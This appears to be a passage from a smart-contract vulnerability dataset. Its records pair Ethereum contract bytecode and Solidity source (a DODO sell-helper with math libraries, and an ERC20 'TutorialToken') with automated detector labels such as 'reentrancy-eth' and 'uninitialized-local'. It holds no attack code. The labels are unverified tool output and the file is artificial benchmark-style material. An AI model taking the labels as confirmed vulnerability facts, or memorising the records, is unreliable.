565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039304a5cd5f09a93059d99bbfccf0e7f7ba0c468bb02327bc3026414942308e264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,428 |
0x533da777aedce766ceae696bf90f8541a4ba80eb
|
// File: contracts/intf/IDODO.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODO {
function init(
address owner,
address supervisor,
address maintainer,
address baseToken,
address quoteToken,
address oracle,
uint256 lpFeeRate,
uint256 mtFeeRate,
uint256 k,
uint256 gasPriceLimit
) external;
function transferOwnership(address newOwner) external;
function claimOwnership() external;
function sellBaseToken(
uint256 amount,
uint256 minReceiveQuote,
bytes calldata data
) external returns (uint256);
function buyBaseToken(
uint256 amount,
uint256 maxPayQuote,
bytes calldata data
) external returns (uint256);
function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote);
function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote);
function depositBaseTo(address to, uint256 amount) external returns (uint256);
function withdrawBase(uint256 amount) external returns (uint256);
function withdrawAllBase() external returns (uint256);
function depositQuoteTo(address to, uint256 amount) external returns (uint256);
function withdrawQuote(uint256 amount) external returns (uint256);
function withdrawAllQuote() external returns (uint256);
function _BASE_CAPITAL_TOKEN_() external returns (address);
function _QUOTE_CAPITAL_TOKEN_() external returns (address);
function _BASE_TOKEN_() external returns (address);
function _QUOTE_TOKEN_() external returns (address);
function _R_STATUS_() external view returns (uint8);
function _QUOTE_BALANCE_() external view returns (uint256);
function _BASE_BALANCE_() external view returns (uint256);
function _K_() external view returns (uint256);
function _MT_FEE_RATE_() external view returns (uint256);
function _LP_FEE_RATE_() external view returns (uint256);
function getExpectedTarget() external view returns (uint256 baseTarget, uint256 quoteTarget);
function getOraclePrice() external view returns (uint256);
}
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 constant ONE = 10**18;
function mul(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / ONE;
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(ONE);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).divCeil(d);
}
}
// File: contracts/lib/DODOMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DODOMath
* @author DODO Breeder
*
* @notice Functions for complex calculating. Including ONE Integration and TWO Quadratic solutions
*/
library DODOMath {
using SafeMath for uint256;
/*
Integrate dodo curve fron V1 to V2
require V0>=V1>=V2>0
res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1)
let V1-V2=delta
res = i*delta*(1-k+k(V0^2/V1/V2))
*/
function _GeneralIntegrate(
uint256 V0,
uint256 V1,
uint256 V2,
uint256 i,
uint256 k
) internal pure returns (uint256) {
uint256 fairAmount = DecimalMath.mul(i, V1.sub(V2)); // i*delta
uint256 V0V0V1V2 = DecimalMath.divCeil(V0.mul(V0).div(V1), V2);
uint256 penalty = DecimalMath.mul(k, V0V0V1V2); // k(V0^2/V1/V2)
return DecimalMath.mul(fairAmount, DecimalMath.ONE.sub(k).add(penalty));
}
/*
The same with integration expression above, we have:
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Given Q1 and deltaB, solve Q2
This is a quadratic function and the standard version is
aQ2^2 + bQ2 + c = 0, where
a=1-k
-b=(1-k)Q1-kQ0^2/Q1+i*deltaB
c=-kQ0^2
and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k)
note: another root is negative, abondan
if deltaBSig=true, then Q2>Q1
if deltaBSig=false, then Q2<Q1
*/
function _SolveQuadraticFunctionForTrade(
uint256 Q0,
uint256 Q1,
uint256 ideltaB,
bool deltaBSig,
uint256 k
) internal pure returns (uint256) {
// calculate -b value and sig
// -b = (1-k)Q1-kQ0^2/Q1+i*deltaB
uint256 kQ02Q1 = DecimalMath.mul(k, Q0).mul(Q0).div(Q1); // kQ0^2/Q1
uint256 b = DecimalMath.mul(DecimalMath.ONE.sub(k), Q1); // (1-k)Q1
bool minusbSig = true;
if (deltaBSig) {
b = b.add(ideltaB); // (1-k)Q1+i*deltaB
} else {
kQ02Q1 = kQ02Q1.add(ideltaB); // i*deltaB+kQ0^2/Q1
}
if (b >= kQ02Q1) {
b = b.sub(kQ02Q1);
minusbSig = true;
} else {
b = kQ02Q1.sub(b);
minusbSig = false;
}
// calculate sqrt
uint256 squareRoot = DecimalMath.mul(
DecimalMath.ONE.sub(k).mul(4),
DecimalMath.mul(k, Q0).mul(Q0)
); // 4(1-k)kQ0^2
squareRoot = b.mul(b).add(squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0)
// final res
uint256 denominator = DecimalMath.ONE.sub(k).mul(2); // 2(1-k)
uint256 numerator;
if (minusbSig) {
numerator = b.add(squareRoot);
} else {
numerator = squareRoot.sub(b);
}
if (deltaBSig) {
return DecimalMath.divFloor(numerator, denominator);
} else {
return DecimalMath.divCeil(numerator, denominator);
}
}
/*
Start from the integration function
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Assume Q2=Q0, Given Q1 and deltaB, solve Q0
let fairAmount = i*deltaB
*/
function _SolveQuadraticFunctionForTarget(
uint256 V1,
uint256 k,
uint256 fairAmount
) internal pure returns (uint256 V0) {
// V0 = V1+V1*(sqrt-1)/2k
uint256 sqrt = DecimalMath.divCeil(DecimalMath.mul(k, fairAmount).mul(4), V1);
sqrt = sqrt.add(DecimalMath.ONE).mul(DecimalMath.ONE).sqrt();
uint256 premium = DecimalMath.divCeil(sqrt.sub(DecimalMath.ONE), k.mul(2));
// V0 is greater than or equal to V1 according to the solution
return DecimalMath.mul(V1, DecimalMath.ONE.add(premium));
}
}
// File: contracts/helper/DODOSellHelper.sol
/*
Copyright 2020 DODO ZOO.
*/
contract DODOSellHelper {
using SafeMath for uint256;
enum RStatus {ONE, ABOVE_ONE, BELOW_ONE}
uint256 constant ONE = 10**18;
struct DODOState {
uint256 oraclePrice;
uint256 K;
uint256 B;
uint256 Q;
uint256 baseTarget;
uint256 quoteTarget;
RStatus rStatus;
}
function querySellBaseToken(address dodo, uint256 amount) public view returns (uint256) {
return IDODO(dodo).querySellBaseToken(amount);
}
function querySellQuoteToken(address dodo, uint256 amount) public view returns (uint256) {
DODOState memory state;
(state.baseTarget, state.quoteTarget) = IDODO(dodo).getExpectedTarget();
state.rStatus = RStatus(IDODO(dodo)._R_STATUS_());
state.oraclePrice = IDODO(dodo).getOraclePrice();
state.Q = IDODO(dodo)._QUOTE_BALANCE_();
state.B = IDODO(dodo)._BASE_BALANCE_();
state.K = IDODO(dodo)._K_();
uint256 boughtAmount;
// Determine the status (RStatus) and calculate the amount
// based on the state
if (state.rStatus == RStatus.ONE) {
boughtAmount = _ROneSellQuoteToken(amount, state);
} else if (state.rStatus == RStatus.ABOVE_ONE) {
boughtAmount = _RAboveSellQuoteToken(amount, state);
} else {
uint256 backOneBase = state.B.sub(state.baseTarget);
uint256 backOneQuote = state.quoteTarget.sub(state.Q);
if (amount <= backOneQuote) {
boughtAmount = _RBelowSellQuoteToken(amount, state);
} else {
boughtAmount = backOneBase.add(
_ROneSellQuoteToken(amount.sub(backOneQuote), state)
);
}
}
// Calculate fees
return
DecimalMath.divFloor(
boughtAmount,
DecimalMath.ONE.add(IDODO(dodo)._MT_FEE_RATE_()).add(IDODO(dodo)._LP_FEE_RATE_())
);
}
function _ROneSellQuoteToken(uint256 amount, DODOState memory state)
internal
pure
returns (uint256 receiveBaseToken)
{
uint256 i = DecimalMath.divFloor(ONE, state.oraclePrice);
uint256 B2 = DODOMath._SolveQuadraticFunctionForTrade(
state.baseTarget,
state.baseTarget,
DecimalMath.mul(i, amount),
false,
state.K
);
return state.baseTarget.sub(B2);
}
function _RAboveSellQuoteToken(uint256 amount, DODOState memory state)
internal
pure
returns (uint256 receieBaseToken)
{
uint256 i = DecimalMath.divFloor(ONE, state.oraclePrice);
uint256 B2 = DODOMath._SolveQuadraticFunctionForTrade(
state.baseTarget,
state.B,
DecimalMath.mul(i, amount),
false,
state.K
);
return state.B.sub(B2);
}
function _RBelowSellQuoteToken(uint256 amount, DODOState memory state)
internal
pure
returns (uint256 receiveBaseToken)
{
uint256 Q1 = state.Q.add(amount);
uint256 i = DecimalMath.divFloor(ONE, state.oraclePrice);
return DODOMath._GeneralIntegrate(state.quoteTarget, Q1, state.Q, i, state.K);
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063ca19ebd91461003b578063ef4a83f814610064575b600080fd5b61004e610049366004610ad0565b610077565b60405161005b9190610bf3565b60405180910390f35b61004e610072366004610ad0565b610574565b6000610081610a89565b836001600160a01b031663ffa642256040518163ffffffff1660e01b8152600401604080518083038186803b1580156100b957600080fd5b505afa1580156100cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f19190610b1e565b60a0830152608082015260408051630bdf4a9760e11b815290516001600160a01b038616916317be952e916004808301926020929190829003018186803b15801561013b57600080fd5b505afa15801561014f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101739190610b41565b60ff16600281111561018157fe5b8160c00190600281111561019157fe5b9081600281111561019e57fe5b81525050836001600160a01b031663796da7af6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102139190610b06565b816000018181525050836001600160a01b0316637c9b8e896040518163ffffffff1660e01b815260040160206040518083038186803b15801561025557600080fd5b505afa158015610269573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061028d9190610b06565b816060018181525050836001600160a01b031663eab5d20e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102cf57600080fd5b505afa1580156102e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103079190610b06565b816040018181525050836001600160a01b031663ec2fd46d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561034957600080fd5b505afa15801561035d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103819190610b06565b60208201526000808260c00151600281111561039957fe5b14156103b0576103a984836105fa565b9050610457565b60018260c0015160028111156103c257fe5b14156103d2576103a98483610652565b60006103ef8360800151846040015161069e90919063ffffffff16565b9050600061040e84606001518560a0015161069e90919063ffffffff16565b90508086116104285761042186856106cf565b9250610454565b61045161044461043e888463ffffffff61069e16565b866105fa565b839063ffffffff61071e16565b92505b50505b61056981610564876001600160a01b031663ab44a7a36040518163ffffffff1660e01b815260040160206040518083038186803b15801561049757600080fd5b505afa1580156104ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cf9190610b06565b610558896001600160a01b031663c0ffa1786040518163ffffffff1660e01b815260040160206040518083038186803b15801561050b57600080fd5b505afa15801561051f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105439190610b06565b670de0b6b3a76400009063ffffffff61071e16565b9063ffffffff61071e16565b610743565b925050505b92915050565b6040516351400f0b60e11b81526000906001600160a01b0384169063a2801e16906105a3908590600401610bf3565b60206040518083038186803b1580156105bb57600080fd5b505afa1580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f39190610b06565b9392505050565b600080610613670de0b6b3a76400008460000151610743565b9050600061063a8460800151856080015161062e858961076d565b60008860200151610797565b6080850151909150610569908263ffffffff61069e16565b60008061066b670de0b6b3a76400008460000151610743565b905060006106868460800151856040015161062e858961076d565b6040850151909150610569908263ffffffff61069e16565b6000828211156106c95760405162461bcd60e51b81526004016106c090610b8a565b60405180910390fd5b50900390565b6000806106e984846060015161071e90919063ffffffff16565b90506000610703670de0b6b3a76400008560000151610743565b90506105698460a00151838660600151848860200151610922565b6000828201838110156105f35760405162461bcd60e51b81526004016106c090610bad565b60006105f38261076185670de0b6b3a764000063ffffffff61099716565b9063ffffffff6109d116565b6000670de0b6b3a7640000610788848463ffffffff61099716565b8161078f57fe5b049392505050565b6000806107b886610761896107ac878c61076d565b9063ffffffff61099716565b905060006107dd6107d7670de0b6b3a76400008663ffffffff61069e16565b8861076d565b9050600185156107fe576107f7828863ffffffff61071e16565b9150610811565b61080e838863ffffffff61071e16565b92505b82821061083357610828828463ffffffff61069e16565b91506001905061084a565b610843838363ffffffff61069e16565b9150600090505b600061087f61086c60046107ac670de0b6b3a76400008a63ffffffff61069e16565b61087a8c6107ac8a8f61076d565b61076d565b905061089d61089882610558868063ffffffff61099716565b6109fb565b905060006108be60026107ac670de0b6b3a76400008a63ffffffff61069e16565b9050600083156108df576108d8858463ffffffff61071e16565b90506108f2565b6108ef838663ffffffff61069e16565b90505b881561090f576109028183610743565b9650505050505050610919565b6109028183610a32565b95945050505050565b6000806109398461087a888863ffffffff61069e16565b9050600061095a610954886107618b8063ffffffff61099716565b87610a32565b90506000610968858361076d565b905061098a8361087a83610558670de0b6b3a76400008a63ffffffff61069e16565b9998505050505050505050565b6000826109a65750600061056e565b828202828482816109b357fe5b04146105f35760405162461bcd60e51b81526004016106c090610bd0565b60008082116109f25760405162461bcd60e51b81526004016106c090610b62565b81838161078f57fe5b80600160028204015b81811015610a2c57809150600281828581610a1b57fe5b040181610a2457fe5b049050610a04565b50919050565b60006105f382610a5085670de0b6b3a764000063ffffffff61099716565b9063ffffffff610a5c16565b600080610a6984846109d1565b905082810284038015610a815750600101905061056e565b50905061056e565b6040518060e0016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160006002811115610acb57fe5b905290565b60008060408385031215610ae2578182fd5b82356001600160a01b0381168114610af8578283fd5b946020939093013593505050565b600060208284031215610b17578081fd5b5051919050565b60008060408385031215610b30578182fd5b505080516020909101519092909150565b600060208284031215610b52578081fd5b815160ff811681146105f3578182fd5b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b9081526020019056fea2646970667358221220324d535cc593acbc58a5ba34b59bd056f4df239e96de737e3c12ec0626f84c9e64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,429 |
0x6faf7017ea20620120c1517a64f1ca6f05c0b766
|
pragma solidity ^0.4.23;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TutorialToken is StandardToken {
string public name = "IOTG";
string public symbol = "TXT";
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 1000000000*(10**18);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106dd565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e7565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610aa1565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aba565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4b565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d93565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e31565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611050565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124c565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561072457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fc57600080fd5b61084d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bcb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5f565b610bde83826112d390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e295780601f10610dfe57610100808354040283529160200191610e29565b820191906000526020600020905b815481529060010190602001808311610e0c57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e6e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ebb57600080fd5b610f0c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ec90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110e182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffff